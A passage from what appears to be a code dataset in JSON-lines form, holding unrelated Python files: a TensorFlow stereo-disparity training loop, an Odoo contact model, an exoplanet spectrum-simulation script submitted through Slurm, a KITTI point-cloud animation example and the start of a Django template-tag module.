L1 image similarity loss\n l1_reconstruction_loss_left = [tf.reduce_mean(tf.abs(left_from_right_image[i] - x_pyramid[i][:, :, :, 0:3])) for i in range(c_pyramid_layers)]\n l1_reconstruction_loss_right = [tf.reduce_mean(tf.abs(right_from_left_image[i] - x_pyramid[i][:, :, :, 3:6])) for i in range(c_pyramid_layers)]\n\n l1_reconstruction_loss = tf.add_n(l1_reconstruction_loss_left) + tf.add_n(l1_reconstruction_loss_right)\n\n # SSIM loss\n ssim_loss_left = [tf.reduce_mean(DispNetUtils.SSIM(left_from_right_image[i], x_pyramid[i][:, :, :, 0:3])) for i in range(c_pyramid_layers)]\n ssim_loss_right = [tf.reduce_mean(DispNetUtils.SSIM(right_from_left_image[i], x_pyramid[i][:, :, :, 3:6])) for i in range(c_pyramid_layers)]\n \n ssim_loss = tf.add_n(ssim_loss_left) + tf.add_n(ssim_loss_right)\n\n # left-right consistency loss\n lr_consistency_loss_left = [tf.reduce_mean(tf.abs(left_from_right_disparity[i] - left_disparity[i])) for i in range(c_pyramid_layers)]\n lr_consistency_loss_right = [tf.reduce_mean(tf.abs(right_from_left_disparity[i] - right_disparity[i])) for i in range(c_pyramid_layers)]\n\n lr_consistency_loss = tf.add_n(lr_consistency_loss_left) + tf.add_n(lr_consistency_loss_right)\n\n # disparity smoothness loss\n disparity_smoothness_left = [DispNetUtils.get_disparity_smoothness(left_disparity[i], x_pyramid[i][:, :, :, 0:3]) for i in range(c_pyramid_layers)]\n disparity_smoothness_right = [DispNetUtils.get_disparity_smoothness(right_disparity[i], x_pyramid[i][:, :, :, 3:6]) for i in range(c_pyramid_layers)]\n\n smooth_loss_left = [tf.reduce_mean(tf.abs(disparity_smoothness_left[i])) for i in range(c_pyramid_layers)]\n smooth_loss_right = [tf.reduce_mean(tf.abs(disparity_smoothness_right[i])) for i in range(c_pyramid_layers)]\n smoothness_loss = tf.add_n(smooth_loss_left) + tf.add_n(smooth_loss_right)\n\n image_similarity_loss = c_ssim_weight * ssim_loss + c_l1_weight * l1_reconstruction_loss\n\n # compute total loss\n total_loss = image_similarity_loss + c_consistency_weight * lr_consistency_loss + c_smoothness_weight * smoothness_loss\n\nwith tf.variable_scope('train'):\n train_step = tf.train.AdamOptimizer(lr_).minimize(total_loss, name = \"adam_train_step\")\n\n# create loss summaries for training evaluation\n\nif c_disparity_gt_available:\n tf.summary.scalar('disparity_loss', disparity_loss, family = \"Total loss\")\n\ntf.summary.scalar('l1_reconstruction_loss', l1_reconstruction_loss, family = \"Total loss\")\ntf.summary.scalar('ssim_loss', ssim_loss, family = \"Total loss\")\ntf.summary.scalar('lr_consistency_loss', lr_consistency_loss, family = \"Total loss\")\ntf.summary.scalar('smoothness_loss', smoothness_loss, family = \"Total loss\")\ntf.summary.scalar('image_similarity_loss', image_similarity_loss, family = \"Total loss\")\ntf.summary.scalar('total_loss', total_loss, family = \"Total loss\")\n\nfor i in range(c_pyramid_layers):\n if c_disparity_gt_available:\n tf.summary.scalar('disparity_loss_left_' + str(i), disparity_loss_left[i], family = \"Disparity L\")\n tf.summary.scalar('disparity_loss_right_' + str(i) , disparity_loss_right[i], family = \"Disparity R\")\n\n tf.summary.scalar('l1_reconstruction_loss_left_' + str(i), l1_reconstruction_loss_left[i], family = \"L1 L\")\n tf.summary.scalar('l1_reconstruction_loss_right_' + str(i), l1_reconstruction_loss_right[i], family = \"L1 R\")\n tf.summary.scalar('ssim_loss_left_' + str(i) , ssim_loss_left[i], family = \"SSIM L\")\n tf.summary.scalar('ssim_loss_right_' + str(i) , ssim_loss_right[i], family = \"SSIM R\")\n tf.summary.scalar('lr_consistency_loss_left_' + str(i) , lr_consistency_loss_left[i], family = \"LR L\")\n tf.summary.scalar('lr_consistency_loss_right_' + str(i) , lr_consistency_loss_right[i], family = \"LR R\")\n tf.summary.scalar('smoothness_consistency_loss_left_' + str(i), smooth_loss_left[i], family = \"Smoothness L\")\n tf.summary.scalar('smoothness_consistency_loss_right_' + str(i), smooth_loss_right[i], family = \"Smoothness R\")\n\nsummary_op = tf.summary.merge_all()\n\n#------------------------------------------------------------------------------\n# Execution\n#------------------------------------------------------------------------------\n\n# initialize global variables, model saver and summary writer\nsess.run(tf.global_variables_initializer())\nsaver = tf.train.Saver()\nwriter = tf.summary.FileWriter(log_path, graph = tf.get_default_graph())\n\n# prepare a few samples for visual inspection during training\nx_test_sample, y_test_sample = DispNetUtils.LoadSamples( \\\n c_visualization_images, \\\n train_file_list, \\\n c_image_height, \\\n c_image_width, \\\n c_image_downsize, \\\n c_disparity_gt_available)\n\n# randomly shuffle the training set\nnp.random.shuffle(train_file_list)\n\n# initialize training\nbatch_start = 0\nepoch = 0\nlearning_rate = c_learning_rate\nstep = 1\n\n# perform training\nwhile epoch < c_epoch_count:\n\n # get next minibatch from training set\n batch_end = min(batch_start + c_minibatch_size, len(train_file_list))\n train_file_batch = train_file_list[batch_start : batch_end]\n m = len(train_file_batch)\n batch_start += c_minibatch_size\n\n # load batch into tensors\n if c_disparity_gt_available:\n x_train_batch, y_train_batch = DispNetUtils.LoadSamples( \\\n m, \\\n train_file_batch, \\\n c_image_height, \\\n c_image_width, \\\n c_image_downsize, \\\n c_disparity_gt_available)\n else:\n x_train_batch, y_train_batch = DispNetUtils.LoadSamples( \\\n m, \\\n train_file_batch, \\\n c_image_height, \\\n c_image_width, \\\n c_image_downsize, \\\n c_disparity_gt_available)\n\n # reshuffle the train set if end of epoch reached\n if batch_start >= len(train_file_list):\n np.random.shuffle(train_file_list)\n\n batch_start = 0\n epoch += 1\n print('Epoch: ' + str(epoch))\n\n # run training step\n if c_disparity_gt_available:\n train_step.run(feed_dict = {x : x_train_batch, y_ : y_train_batch, lr_ : learning_rate})\n else:\n train_step.run(feed_dict = {x : x_train_batch, lr_ : learning_rate})\n print(str(epoch) + ' ' + str(step))\n step += 1\n\n # compute batch loss\n if c_disparity_gt_available:\n train_loss, summary = sess.run([total_loss, summary_op], feed_dict = {x : x_train_batch, y_ : y_train_batch, lr_ : learning_rate})\n else:\n train_loss, summary = sess.run([total_loss, summary_op], feed_dict = {x : x_train_batch, lr_ : learning_rate})\n print(\"Batch loss: %g\"%(train_loss))\n writer.add_summary(summary, step - 1)\n\n # compute validation image loss\n #if step % 50 == 0:\n # image_0_loss = sess.run(disparity_loss, feed_dict={x : x_test_sample, y_ : y_test_sample, w_ : loss_weight, lr_ : learning_rate})\n # print(\"Image 0 loss: %g\"%(image_0_loss))\n \n # save validation images for visual inspection\n if step % 1000 == 0:\n \n if c_disparity_gt_available:\n y_tested = sess.run([ \\\n left_disparity, \\\n right_disparity, \\\n left_from_right_image, \\\n right_from_left_image, \\\n left_from_right_disparity, \\\n right_from_left_disparity, \\\n disparity_smoothness_left, \\\n disparity_smoothness_right, \\\n y_], \\\n feed_dict = { \\\n x : x_test_sample, \\\n y_ : y_test_sample, \\\n lr_ : learning_rate}) \n else:\n y_tested = sess.run([ \\\n left_disparity, \\\n right_disparity, \\\n left_from_right_image, \\\n right_from_left_image, \\\n left_from_right_disparity, \\\n right_from_left_disparity, \\\n disparity_smoothness_left, \\\n disparity_smoothness_right], \\\n feed_dict = { \\\n x : x_test_sample, \\\n lr_ : learning_rate}) \n\n #for pyramid in range(c_pyramid_layers):\n for pyramid in range(1):\n #for image in range(1):\n for image in range(c_visualization_images):\n # save left and right disparity predictions\n disp_left = np.multiply(y_tested[0][pyramid][image, :, :, 0], c_image_width)\n disp_right = np.multiply(y_tested[1][pyramid][image, :, :, 0], c_image_width)\n \n imageio.imwrite(results_path + '/disp_prediction_left_' + str(image) + '/step_' + str(step) + '_img_' + str(image) + '_disp_prediction_left_' + str(pyramid) + '.png', disp_left)\n imageio.imwrite(results_path + '/disp_prediction_right_' + str(image) + '/step_' + str(step) + '_img_' + str(image) + '_disp_prediction_right_' + str(pyramid) + '.png', disp_right)\n \n # save image reconstruction estimates for the entire scale pyramid\n imageio.imwrite(results_path + '/lr_estimate_' + str(image) + '/step_' + str(step) + '_img_' + str(image) + '_lr_estimate_' + str(pyramid) + '.png', y_tested[2][pyramid][image, :, :, :])\n imageio.imwrite(results_path + '/rl_estimate_' + str(image) + '/step_' + str(step) + '_img_' + str(image) + '_rl_estimate_' + str(pyramid) + '.png', y_tested[3][pyramid][image, :, :, :])\n\n # save current model checkpoint\n #save_path = saver.save(sess, \"./results/model_\" + str(step) + \".ckpt\")\n\n if step == 100000:\n learning_rate /= 2\n\n if step == 200000:\n learning_rate /= 2\n\n if step == 300000:\n learning_rate /= 2\n\n if step == 400000:\n learning_rate /= 2\n\n if step == 500000:\n learning_rate /= 2\n\n\n","sub_path":"unsup_stereo/DispNet-TensorFlow.py","file_name":"DispNet-TensorFlow.py","file_ext":"py","file_size_in_byte":23947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"275943495","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import UserError, ValidationError\n\nimport logging\n\n_logger = logging.getLogger(__name__)\n\n\nclass CountryGroup(models.Model):\n _inherit = 'res.country.group'\n\n group_type = fields.Selection([\n ('BD', 'Business Development'),\n ],\n string='Group Type',\n track_visibility='onchange',\n default=False,\n ) \n\n\nclass ResPartner(models.Model):\n\n _inherit = 'res.partner'\n \n ### CUSTOM FIELDS FOR EVERY KIND OF CONTACTS ###\n\n description = fields.Text()\n\n hidden = fields.Boolean(\n string=\"Confidential\",\n default=False,\n )\n\n is_internal = fields.Boolean(\n string=\"Is Internal\",\n compute='_compute_is_internal',\n store=True,\n default=False,\n )\n \n stage = fields.Selection([\n (1, 'Undefined'),\n (2, 'New'),\n (3, 'Verified'),\n (4, 'Outdated'),\n (5, 'Archived')], \n string='Stage',\n track_visibility='onchange',\n default=2,\n )\n\n sharepoint_folder = fields.Char(\n string='Sharepoint Folder',\n compute='_compute_sharepoint_folder',\n readonly=True,\n store=True,\n )\n manual_sharepoint_folder = fields.Char()\n\n create_folder = fields.Boolean(\n string=\"Create Sharepoint Folder\",\n )\n\n ### THe objective of this field is to assist responsible roles in contact completion exercise and maintain a good data quality\n completion_ratio = fields.Float(\n string=\"Est. Data Completion\",\n compute='_compute_completion_ratio',\n default=0.0,\n )\n\n #Contact fields\n fax = fields.Char()\n\n ### CLIENT RELATED FIELDS ###\n\n #override to rename\n user_id = fields.Many2one(\n 'res.users',\n string = 'Account Manager',\n domain=lambda self: [(\"groups_id\", \"in\", [self.env.ref('vcls_security.vcls_account_manager').id])]\n )\n #override to link\n activity_user_id = fields.Many2one(\n 'res.users',\n related='user_id',\n store=True,\n domain=lambda self: [(\"groups_id\", \"=\", self.env['res.groups'].search([('name','=', 'Account Manager')]).id)]\n )\n\n linkedin = fields.Char(\n string='LinkedIn Profile',\n )\n \n #BD fields\n country_group_id = fields.Many2one(\n 'res.country.group',\n string=\"Geographic Area\",\n compute='_compute_country_group',\n )\n \n client_activity_ids = fields.Many2many(\n 'client.activity',\n string='Client Activity',\n )\n\n client_product_ids = fields.Many2many(\n 'client.product',\n string='Client Product',\n )\n\n number_of_employee = fields.Selection(\n selection = [\n ('1_10', '1-10'),\n ('11_50', '11-50'),\n ('51_200', '51-200'),\n ('201_500', '201-500'),\n ('501_2000', '501-2000'),\n ('2000', '+2000'),\n ]\n )\n\n \n \n #project management fields\n assistant_id = fields.Many2one(\n 'res.users',\n string='Project Assistant',\n )\n\n expert_id = fields.Many2one(\n 'res.users',\n string='Main Expert',\n )\n\n #finance fields\n controller_id = fields.Many2one(\n 'res.users',\n string='Project Controller'\n )\n\n invoice_admin_id = fields.Many2one(\n 'res.users',\n string='Invoice Administrator',\n )\n\n #connection with external systems\n\n altname = fields.Char(\n string='AltName',\n )\n\n ### FIELDS FOR INDIVIDUALS ###\n # We override title to rename it\n title = fields.Many2one(\n string='Salutation',\n )\n function = fields.Char(\n string='Job Title',\n help='Please use \\\"tbc\\\" if unknown.',\n )\n\n functional_focus_id = fields.Many2one(\n 'partner.functional.focus',\n string='Functional Focus',\n )\n\n partner_seniority_id = fields.Many2one(\n 'partner.seniority',\n string='Seniority',\n )\n\n partner_assistant_id = fields.Many2one(\n 'res.partner',\n string='Contact Assistant',\n )\n\n referent_id = fields.Many2one(\n 'res.partner',\n string='Referred By',\n )\n\n ### VIEW VISIBILITY\n see_segmentation = fields.Boolean (\n compute='_compute_visibility',\n default=False,\n store=True,\n )\n see_supplier = fields.Boolean (\n compute='_compute_visibility',\n default=False,\n store=True,\n )\n # log note company change\n parent_id = fields.Many2one(\n track_visibility='always'\n )\n\n vcls_contact_id = fields.Many2one(\n 'res.users',\n string = \"VCLS Sponsor\",\n domain = \"[('employee','=',True)]\",\n )\n\n client_status = fields.Selection([\n ('new', 'New'),\n ('active', 'Active'),\n ('blacklisted', 'Blacklisted'),\n ], compute='_get_client_status')\n\n #accounting fields for legacy integration\n legacy_account = fields.Char(\n default=\"/\",\n )\n \n external_account = fields.Char(\n compute = '_compute_external_account',\n store = True,\n )\n\n ###################\n # COMPUTE METHODS #\n ###################\n @api.multi\n @api.depends('legacy_account','customer','supplier','employee')\n def _compute_external_account(self):\n for partner in self:\n if partner.customer:\n partner.external_account = partner.legacy_account\n continue\n if partner.employee:\n #we grab the employee\n employee = self.env['hr.employee'].search([('address_home_id.id','=',partner.id)],limit=1)\n if employee:\n partner.external_account = employee.employee_external_id\n continue\n else:\n pass\n\n @api.multi\n @api.depends('sale_order_ids.state')\n def _get_client_status(self):\n for partner in self:\n client_status = 'new'\n for order_id in partner.sale_order_ids:\n if order_id.state in ('sent', 'sale', 'done'):\n client_status = 'active'\n break\n partner.client_status = client_status\n\n @api.depends('category_id', 'company_type')\n def _compute_visibility(self):\n for contact in self:\n contact.see_segmentation = False\n if self.env.ref('vcls-contact.category_account', raise_if_not_found=False) in contact.category_id and contact.is_company:\n contact.see_segmentation = True\n contact.see_supplier = False\n if self.env.ref('vcls-contact.category_PS', raise_if_not_found=False) in contact.category_id:\n contact.see_supplier = True\n\n @api.onchange('category_id')\n def _update_booleans(self):\n for contact in self:\n if self.env.ref('vcls-contact.category_account', raise_if_not_found=False) in contact.category_id:\n contact.customer = True\n else:\n contact.customer = False\n\n if self.env.ref('vcls-contact.category_suppliers', raise_if_not_found=False) in contact.category_id \\\n or self.env.ref('vcls-contact.category_PS', raise_if_not_found=False) in contact.category_id \\\n or self.env.ref('vcls-contact.category_AS', raise_if_not_found=False) in contact.category_id:\n contact.supplier = True\n else:\n contact.supplier = False\n\n @api.depends('employee')\n def _compute_is_internal(self):\n for contact in self:\n if contact.employee or self.env['res.company'].search([('partner_id.id','=',contact.id)]):\n contact.is_internal = True\n \n @api.depends('country_id')\n def _compute_country_group(self):\n for contact in self:\n #groups = contact.country_id.country_group_ids.filtered([('group_type','=','BD')])\n groups = contact.country_id.country_group_ids\n if groups:\n contact.country_group_id = groups[0]\n\n def _compute_completion_ratio(self):\n for contact in self:\n pass\n \"\"\" This estimator is related to the type of contact.\"\"\"\n\n @api.depends('category_id', 'create_folder','altname','manual_sharepoint_folder')\n def _compute_sharepoint_folder(self):\n #manual case\n manual = self.filtered(lambda p: p.manual_sharepoint_folder)\n for partner in manual:\n partner.sharepoint_folder = partner.manual_sharepoint_folder\n partner.create_folder = True\n\n #suppliers\n auto_suppliers = self.filtered(lambda p: not p.manual_sharepoint_folder and p.supplier and p.is_company)\n pre = self.env.ref('vcls-contact.SP_supplier_root_prefix').value\n for partner in auto_suppliers:\n partner.sharepoint_folder = \"{}/{}\".format(pre,partner.name)\n partner.create_folder = True\n\n #clients\n auto_clients = self.filtered(lambda p: not p.manual_sharepoint_folder and p.customer and p.is_company and p.altname)\n pre = self.env.ref('vcls-contact.SP_client_root_prefix').value\n post = self.env.ref('vcls-contact.SP_client_root_postfix').value\n for partner in auto_clients:\n partner.sharepoint_folder = \"{}/{}/{}{}\".format(pre,partner.altname[0],partner.altname,post)\n partner.create_folder = True\n\n # We reset the number of bounced emails to 0 in order to re-detect problems after email change\n @api.onchange('email')\n def _onchange_mail(self):\n for contact in self:\n contact.message_bounce = 0\n contact_id = contact.id if not isinstance(contact.id, models.NewId) else 0\n if contact.email and self.sudo().search([('id', '!=', contact_id), ('email', '=', contact.email)], limit=1):\n return {'warning': {\n 'title': _(\"Warning\"),\n 'message': _(\"A contact with this email already exists.\"),\n }}\n\n ##################\n # ACTION METHODS #\n ##################\n\n @api.multi\n def _set_stage_new(self):\n context = self.env.context\n contact_ids = context.get('active_ids',[])\n self.env['res.partner'].browse(contact_ids).write({'stage': 2})\n \n @api.multi\n def _set_stage_verified(self):\n context = self.env.context\n contact_ids = context.get('active_ids',[])\n self.env['res.partner'].browse(contact_ids).write({'stage': 3})\n \n @api.multi\n def _set_stage_outdated(self):\n context = self.env.context\n contact_ids = context.get('active_ids',[])\n self.env['res.partner'].browse(contact_ids).write({'stage': 4})\n \n @api.multi\n def _set_stage_archived(self):\n context = self.env.context\n contact_ids = context.get('active_ids',[])\n self.env['res.partner'].browse(contact_ids).write({'stage': 5,'active':False})\n \n @api.onchange('category_id', 'company_type')\n def update_individual_tags(self):\n for contact in self:\n if contact.company_type == 'company':\n for child in contact.child_ids:\n if child.company_type == 'person':\n child.write({'category_id': [(6, 0, contact.category_id.ids)]})\n\n @api.model\n def create(self, vals):\n\n #if no ID defined, then increment using the sequence\n if vals.get('legacy_account','/')=='/':\n vals['legacy_account'] = self.env['ir.sequence'].next_by_code('seq_customer_account_id')\n\n if vals.get('email',False):\n # we search for existing partners with the same email, but we authorize the creation of a company AND an individual with the same email\n existing = self.env['res.partner'].search([('email','=ilike',vals.get('email'))])\n #_logger.info(\"email {} existing {} all vals {}\".format(vals.get('email'),existing.mapped('name'),vals))\n if existing and not '@vcls.com' in vals['email']:\n if vals.get('is_company') == existing.is_company:\n raise UserError(\"Duplicates {}\".format(existing.mapped('email')))\n \n new_contact = super(ResPartner, self).create(vals)\n if new_contact.type != 'contact':\n type_contact = new_contact.type\n new_contact.write({'display_name' : new_contact.display_name + ' (' + type_contact + ')' })\n\n #we grab the parent tags\n new_contact.grab_parent_categ()\n\n return new_contact\n \n def grab_parent_categ(self):\n for contact in self:\n if contact.parent_id:\n contact.category_id |= contact.parent_id.category_id\n \n def add_new_adress(self):\n view_id = self.env.ref('vcls-contact.view_form_contact_address').id\n return {\n 'name': 'ADD NEW ADRESS',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'view_id': view_id,\n 'target': 'new',\n 'res_model': 'res.partner',\n 'type': 'ir.actions.act_window',\n 'context': {\n 'default_name': self.name,\n 'default_parent_id': self.id,\n 'default_category_id': self.category_id.ids,\n 'default_company_type': 'person'\n }\n }\n","sub_path":"vcls-contact/models/contact.py","file_name":"contact.py","file_ext":"py","file_size_in_byte":13355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"426461750","text":"import numpy as np\nimport matplotlib; matplotlib.use('agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nfrom astropy.io import fits\nimport smart\nimport sys, os\nimport datetime\nmatplotlib.rcParams['text.usetex'] = False\nimport random\n\ndef earth_like(lamin, lamax, res, cia):\n place = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n sim = smart.interface.Smart(tag = \"prox\")\n sim.set_run_in_place(place)\n infile = \"/gscratch/vsm/mwjl/projects/high_res/inputs/profile_Earth_proxb_.pt_filtered\"\n label = \"Earth-Like\"\n sim.smartin.alb_file = \"/gscratch/vsm/mwjl/projects/high_res/inputs/composite1_txt.txt\"\n sim.set_planet_proxima_b()\n sim.set_star_proxima()\n\n sim.smartin.out_dir = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n sim.lblin.out_dir = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n sim.smartin.abs_dir = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n\n sim.set_executables_automatically()\n \n sim.lblin.par_file = '/gscratch/vsm/alinc/fixed_input/HITRAN2016' #/gscratch/vsm/alinc/fixed_input/\n sim.lblin.hitran_tag = 'hitran2016'\n sim.lblin.fundamntl_file = '/gscratch/vsm/alinc/fixed_input/fundamntl2016.dat'\n sim.lblin.lblabc_exe = '/gscratch/vsm/alinc/exec/lblabc_2016'\n\n sim.smartin.sza = 57\n sim.load_atmosphere_from_pt(infile, addn2 = False)\n\n sim.smartin.FWHM = res\n sim.smartin.sample_res = res\n\n sim.smartin.minwn = 1e4/lamax\n sim.smartin.maxwn = 1e4/lamin \n\n sim.lblin.minwn = 1e4/lamax\n sim.lblin.maxwn = 1e4/lamin\n \n if cia == \"new\":\n o2 = sim.atmosphere.gases[3]\n o2.cia_file = '/gscratch/vsm/mwjl/projects/high_res/inputs/cia_adj_calc.cia'\n elif cia == \"none\":\n o2 = sim.atmosphere.gases[3]\n o2.cia_file = None\n else:\n pass \n\n sim.gen_lblscripts()\n sim.run_lblabc()\n sim.write_smart(write_file = True)\n sim.run_smart()\n\n sim.open_outputs()\n wl = sim.output.rad.lam\n flux = sim.output.rad.pflux\n sflux = sim.output.rad.sflux\n adj_flux = flux/sflux\n return(wl, adj_flux)\n\ndef ocean_loss(lamin, lamax, res, cia):\n place = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n sim2 = smart.interface.Smart(tag = \"highd\")\n sim2.set_run_in_place(place) \n infile2 = \"/gscratch/vsm/mwjl/projects/high_res/inputs/10bar_O2_dry.pt_filtered.pt\"\n label = \"Ocean Loss\"\n sim2.smartin.alb_file = \"/gscratch/vsm/mwjl/projects/high_res/inputs/desert_highd.alb\"\n sim2.set_planet_proxima_b()\n sim2.set_star_proxima()\n\n sim2.smartin.out_dir = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n sim2.lblin.out_dir = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n sim2.smartin.abs_dir = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n\n sim2.set_executables_automatically()\n\n sim2.lblin.par_file = '/gscratch/vsm/alinc/fixed_input/HITRAN2016' #/gscratch/vsm/alinc/fixed_input/\n sim2.lblin.hitran_tag = 'hitran2016'\n sim2.lblin.fundamntl_file = '/gscratch/vsm/alinc/fixed_input/fundamntl2016.dat'\n sim2.lblin.lblabc_exe = '/gscratch/vsm/alinc/exec/lblabc_2016'\n\n sim2.smartin.sza = 57\n sim2.load_atmosphere_from_pt(infile2, addn2 = False, scaleP = 1.0)\n\n sim2.smartin.FWHM = res\n sim2.smartin.sample_res = res\n\n sim2.smartin.minwn = 1e4/lamax\n sim2.smartin.maxwn = 1e4/lamin \n\n sim2.lblin.minwn = 1e4/lamax\n sim2.lblin.maxwn = 1e4/lamin\n\n if cia == \"new\":\n o2 = sim2.atmosphere.gases[1]\n o2.cia_file = '/gscratch/vsm/mwjl/projects/high_res/inputs/cia_adj_calc.cia'\n elif cia == \"none\":\n o2 = sim2.atmosphere.gases[1]\n o2.cia_file = None\n else:\n pass \n\n sim2.gen_lblscripts()\n sim2.run_lblabc()\n sim2.write_smart(write_file = True)\n sim2.run_smart()\n\n sim2.open_outputs()\n wl2 = sim2.output.rad.lam\n flux2 = sim2.output.rad.pflux\n sflux2 = sim2.output.rad.sflux\n\n adj_flux2 = flux2/sflux2\n return(wl2, adj_flux2)\n\ndef ocean_outgassing(lamin, lamax, res, cia):\n place = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n sim2 = smart.interface.Smart(tag = \"highw\")\n sim2.set_run_in_place(place) \n infile2 = \"10bar_O2_wet.pt_filtered.pt\"\n label = \"Ocean Outgassing\"\n sim2.smartin.alb_file = \"earth_noveg_highw.alb\"\n sim2.set_planet_proxima_b()\n sim2.set_star_proxima()\n\n sim2.smartin.out_dir = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n sim2.lblin.out_dir = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n sim2.smartin.abs_dir = '/gscratch/vsm/mwjl/projects/high_res/smart_output'\n\n sim2.set_executables_automatically()\n\n sim2.lblin.par_file = '/gscratch/vsm/alinc/fixed_input/HITRAN2016' #/gscratch/vsm/alinc/fixed_input/\n sim2.lblin.hitran_tag = 'hitran2016'\n sim2.lblin.fundamntl_file = '/gscratch/vsm/alinc/fixed_input/fundamntl2016.dat'\n sim2.lblin.lblabc_exe = '/gscratch/vsm/alinc/exec/lblabc_2016'\n\n sim2.smartin.sza = 57\n sim2.load_atmosphere_from_pt(infile2, addn2 = False, scaleP = 1.0)\n\n sim2.smartin.FWHM = res\n sim2.smartin.sample_res = res\n\n sim2.smartin.minwn = 1e4/lamax\n sim2.smartin.maxwn = 1e4/lamin \n\n sim2.lblin.minwn = 1e4/lamax\n sim2.lblin.maxwn = 1e4/lamin\n\n if cia == \"new\":\n o2 = sim2.atmosphere.gases[2]\n o2.cia_file = '/gscratch/vsm/mwjl/projects/high_res/inputs/cia_adj_calc.cia'\n elif cia == \"none\":\n o2 = sim2.atmosphere.gases[2]\n o2.cia_file = None\n else:\n pass \n\n sim2.gen_lblscripts()\n sim2.run_lblabc()\n sim2.write_smart(write_file = True)\n sim2.run_smart()\n\n sim2.open_outputs()\n wl2 = sim2.output.rad.lam\n flux2 = sim2.output.rad.pflux\n sflux2 = sim2.output.rad.sflux\n\n adj_flux2 = flux2/sflux2\n return(wl2, adj_flux2)\n\ndef integrate(lamin, lamax, atmos, cia):\n f = open(\"/gscratch/vsm/mwjl/projects/high_res/output/integrations_new.txt\", \"a\")\n if atmos == 0:\n wl, flux = earth_like(lamin, lamax, 0.01, cia)\n wl_low, flux_low = earth_like(lamin, lamax,1, cia)\n tag = \"el\" #earth-like\n elif atmos == 1:\n wl, flux = ocean_loss(lamin, lamax, 0.01, cia)\n wl_low, flux_low = ocean_loss(lamin, lamax,1, cia)\n tag = \"ol\" # ocean loss\n else:\n wl, flux = ocean_outgassing(lamin, lamax, 0.01, cia)\n wl_low, flux_low = ocean_outgassing(lamin, lamax,1, cia)\n tag = \"oo\" # ocean outgassing\n \n long_flux = []\n for i in flux_low:\n j = 0\n while j < 100: \n long_flux.append(i)\n j = j+1\n\n mixed = []\n i = 0\n while i < len(flux):\n temp = (flux[i] + long_flux[i]) / 2\n mixed.append(temp)\n i = i+1\n\n\n i = 0\n flattened = []\n while i < len(long_flux)- 25: \n avg = np.mean(flux[i:i+25])\n j = 0\n while j < 25:\n flattened.append(avg)\n j = j+1\n i = i+25\n \n\n out = []\n i = 0\n while i < len(mixed[:-25]): \n diff = abs(mixed[i] - flattened[i])\n out.append(diff)\n i = i+1\n\n import scipy.integrate as integrate\n adds = integrate.trapz(out, wl[:-25])\n name = str(abs(adds)), str(lamin) + \"to\" + str(lamax), str(cia), str(tag)\n f = open(\"/gscratch/vsm/mwjl/projects/high_res/output/integrations_new.txt\", \"a\")\n f.write(str(name) + \"\\n\")\n\ndef output(lamin, lamax):\n integrate(lamin,lamax, 0, \"new\")\n integrate(lamin,lamax, 1, \"new\")\n integrate(lamin,lamax, 2, \"new\")\n\n integrate(lamin,lamax, 0, \"none\")\n integrate(lamin,lamax, 1, \"none\")\n integrate(lamin,lamax, 2, \"none\")\n\n integrate(lamin,lamax, 0, \"original\")\n integrate(lamin,lamax, 1, \"original\")\n integrate(lamin,lamax, 2, \"original\")\n \n\nif __name__ == '__main__':\n\n import platform\n\n if platform.node().startswith(\"mox\"):\n # On the mox login node: submit job\n runfile = __file__\n smart.utils.write_slurm_script_python(runfile,\n name=\"integ8\",\n subname=\"submit.csh\",\n workdir = \"\",\n nodes = 1,\n mem = \"500G\",\n walltime = \"10:00:00\",\n ntasks = 28,\n account = \"vsm\",\n submit = True,\n rm_after_submit = True)\n elif platform.node().startswith(\"n\"):\n # On a mox compute node: ready to run\n #output(0.78, 0.81)\n output(0.61, 0.65)\n output(0.67, 0.71)\n output(0.74, 0.78)\n output(1.24, 1.28)\n\n else:\n output(0.61, 0.65)\n","sub_path":"integrate_newCIA.py","file_name":"integrate_newCIA.py","file_ext":"py","file_size_in_byte":8679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"158426527","text":"# Import dependencies\nfrom explore_kitti_lib import *\n\n# Choose input data\ndate = '2011_09_26'\ndrive = '0001'\n\n# Load dataset\ndataset = load_dataset(date, drive)\n\n# Load tracklets (rects and types)\ntracklet_rects, tracklet_types = load_tracklets_for_frames(len(list(dataset.velo)), 'data/{}/{}_drive_{}_sync/tracklet_labels.xml'.format(date, date, drive))\n\n# Display fram statistics\nframe = 10\ndisplay_frame_statistics(dataset, tracklet_rects, tracklet_types, frame)\n\n# Render frames animation\nframes = []\nn_frames = len(list(dataset.velo))\nprint('Preparing animation frames...')\nfor i in range(n_frames):\n print_progress(i, n_frames - 1)\n filename = draw_3d_plot(i, dataset, tracklet_rects, tracklet_types)\n frames += [filename]\nprint('...Animation frames ready.')\nclip = ImageSequenceClip(frames, fps=5)\n\n# Store animation\nclip.write_gif('pcl_data.gif', fps=5)","sub_path":"show_example.py","file_name":"show_example.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"547806651","text":"import re\nimport time\nimport unicodedata\nfrom datetime import datetime, timedelta\n\nfrom django import template\nfrom django.contrib.auth.models import User\n\nregister = template.Library()\n\n\n@register.filter(name = 'get_label')\ndef get_label(status, label_name = None, class_name = None):\n result = {\n -1: {label_name: 'Rejeté', class_name: 'danger'},\n 0: {label_name: 'En attente', class_name: 'primary'},\n 1: {label_name: 'Validé', class_name: 'success'}\n }[status]\n\n return result, label_name\n\n\n@register.filter()\ndef to_int(value):\n return int(value)\n\n\n@register.filter(name = 'link_name')\ndef link_name(path, page_number):\n output = 